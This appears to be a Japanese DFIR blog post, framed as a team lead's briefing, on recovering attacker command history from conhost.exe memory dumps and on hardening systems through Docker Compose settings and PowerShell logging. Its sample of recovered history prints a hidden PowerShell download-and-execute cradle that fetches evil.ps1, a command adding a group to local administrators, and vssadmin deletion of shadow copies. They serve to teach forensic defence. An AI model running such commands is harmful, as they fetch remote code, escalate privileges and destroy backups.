おい、手を休めてこっちをくれ。
先週、某クライアントのEDRから「不審なPowerShellの実行検知」が飛んできた件、覚えているか? 結局、初期侵入からのラテラルムーブメント(横展開)を許し、ドメインコントローラーの手前まで足場を固められていたあのインシデントだ。
あの時、攻撃者が踏み台サーバー上で何を叩いたか、ディスク上のログ(PowerShellのScript Block Loggingなど)は巧妙にバイパスまたはクリアされていた。だが、奴らが忘れていた「致命的な盲点」があった。それが今回解説する、メモリ上のコマンド履歴(conhost.exe のConsole Host History)だ。
インシデントレスポンスの現場において、ディスクは嘘をつくが、生きたメモリ(RAM)は真実を語る。今回は、攻撃者がコマンドプロンプトやPowerShellを叩いた痕跡をメモリから根こそぎサルベージする手法と、そもそもそんなフォレンジックをさせないための「現代的な要塞化の作法」について、俺のナレッジを叩き込んでおこう。
—
1. 攻撃者の足跡:なぜ conhost.exe のメモリが狙われるのか?
システム管理者やセキュリティエンジニアなら、cmd.exe や PowerShell.exe のログ監視に気を配っているはずだ。しかし、攻撃者も一枚上手で、ログの無効化、イベントログのクリア、あるいはメモリ上でのインジェクションなど、足跡を消すための工作を平然と行ってくる。
ここで重要になるのが、Windowsのコンソールウィンドウを管理するプロセス conhost.exe の存在だ。
ユーザーが cmd.exe や PowerShell を立ち上げてコマンドを打つと、その入力履歴(Console Host History)は、conhost.exe のヒープメモリ領域にプレーンテキスト(またはUTF-16)の形でキャッシュとして保持される。
攻撃者がどれだけ華麗にディスク上の痕跡を消し去ろうとも、セッションが生きている間、あるいはメモリダンプが採取されるまでの間、彼らが焦って打ち込んだ net user や mimikatz の実行コマンドは、conhost.exe のメモリ空間のどこかに無残に残り続ける。私たちDFIRアナリストは、ここを突く。
—
2. フォレンジック実務:メモリからコマンド履歴を復元する
現場では、ライブレスポンスツール(LiME、DumpIt、WinPmemなど)を用いて対象マシンのメモリダンプを採取し、解析用ワークステーションに持ち帰る。
Pythonを用いた解析スクリプトの自作も有効だが、実務では Volatility 3 などのフレームワークや、専用のストリングス抽出を組み合わせて効率的に炙り出す。
例えば、ダンプされたメモリイメージから conhost.exe のプロセスを特定し、そのヒープ領域に対して特定のパターンマッチングやキーワード検索(cmd.exe, powershell, net view など)をかけることで、以下のようなコマンド履歴の断片をいとも簡単に復元できる。
[!] 復元されたコマンド履歴のサンプル(イメージ)
> powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/evil.ps1')"
> net localgroup administrators DomainAdmins /add
> vssadmin delete shadows /all /quiet
攻撃者は「ログに残さなければバレない」と錯覚しているが、OSのアーキテクチャ上、文字を描画し管理するためのバッファが存在する限り、メモリフォレンジックの網からは逃れられないのだ。
—
3. 防御側の要塞化:インシデントを「未然に防ぐ」ための設計と設定
さて、フォレンジックの技術を知ることは重要だが、私たちの本来の目的は「不正アクセスを未然に防ぎ、インシデントの発生回数そのものをゼロに近づけること」だ。
では、開発者やインフラエンジニアとして、このメモリ上の履歴汚染や、そもそもそこまで踏み込まれるリスクをどう軽減すべきか。
ポイントは、「不要なシェルアクセスの排除」「EDRやロギングの強制的常時有効化」「最小権限の原則の徹底」だ。
特に、WebアプリケーションやAPIサーバーの脆弱性を突かれ、そこからリバースシェルを取られた場合を想定してほしい。アプリケーションランタイム(PHPやNode.js、Pythonなど)から不審な子プロセス(cmd.exeやshなど)がポップアップすること自体が、設計上の敗北だ。
実装・設定サンプル:堅牢なインフラストラクチャの構築
ここでは、インフラレベルおよびアプリケーションレベルでの防御・監査設定の具体例を示そう。
A. Linux/Docker環境における安全なプロセス実行・権限分離(Docker Compose設定例)
WebアプリケーションからOSコマンドが実行されるリスクを絶つため、コンテナは必ず非特権ユーザー(Non-root)で動かし、必要最小限のバイナリしかコンテナ内に残さない(マルチステージビルドの徹底)のが鉄則だ。
version: '3.8'
services:
web_application:
image: my-secure-app:latest
# 【重要】コンテナ内でroot権限を持たせないことで、侵害後のシェル取得や特権昇格の難易度を跳ね上げる
user: "1000:1000"
read_only: true # ルートファイルシステムを読み取り専用にし、悪意あるペイロードの書き込みを阻止
tmpfs:
- /tmp:size=100M # 一時ファイル領域のみ書き込み許可
security_opt:
- no-new-privileges:true # プロセスが追加の特権を獲得することをシステムコールレベルで禁止
environment:
- APP_ENV=production
networks:
- secure_internal
networks:
secure_internal:
driver: bridge
B. Windows環境における PowerShell / ログ監査の強化(GPO設定の思想)
もしWindows Serverを運用しているなら、PowerShellの「Script Block Logging」と「Transcription」を必ずGPO(グループポリシー)で強制有効化し、ローカルのログ領域だけでなく、即座にSIEMへ転送するアーキテクチャを組むこと。メモリフォレンジック頼みになる前に、イベントログの改ざん不可能な中央集約を実現しておくべきだ。
# 【管理者向け】PowerShellの高度な監査をレジストリ経由で強制有効化するイメージ
# (本番環境へ適用する際はGPOを使用することを強く推奨します)
$RegistryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell"
# スクリプトブロックのロギングを有効化
if (-not (Test-Path "$RegistryPath\ScriptBlockLogging")) {
New-Item -Path "$RegistryPath\ScriptBlockLogging" -Force | Out-Null
}
Set-ItemProperty -Path "$RegistryPath\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# トランスクリプション(入出力の全記録)を特定の安全な共有フォルダへ強制保存
if (-not (Test-Path "$RegistryPath\Transcription")) {
New-Item -Path "$RegistryPath\Transcription" -Force | Out-Null
}
Set-ItemProperty -Path "$RegistryPath\Transcription" -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path "$RegistryPath\Transcription" -Name "OutputDirectory" -Value "C:\SecuredLogShare\PowerShellTranscripts"
Set-ItemProperty -Path "$RegistryPath\Transcription" -Name "IncludeInvocationHeader" -Value 1
—
チーフからのメッセージ
メモリ上のコマンド履歴の復元は、私たちDFIRチームにとって、隠された真実を暴くための強力な武器だ。しかし、この手法が必要になるということは、すでに「ネットワークやエンドポイントの初期防衛線が突破された」という痛ましい事実を意味している。
君たちがシステムを設計し、コードを書くときには、常に「もしこのサーバーが踏み台にされたら、攻撃者は次にどう動くか」を逆算してほしい。不要なシェル実行パスを削り、権限を絞り、ログが隠滅されない泥臭い仕組みを作り込む。その積み重ねこそが、真に強靭なシステムを生み出す唯一の道だ。
さて、コーヒーを飲み終えたら、先週のログ解析の続きに戻るとしよう。手を動かせ、時間は待ってくれない。
コメント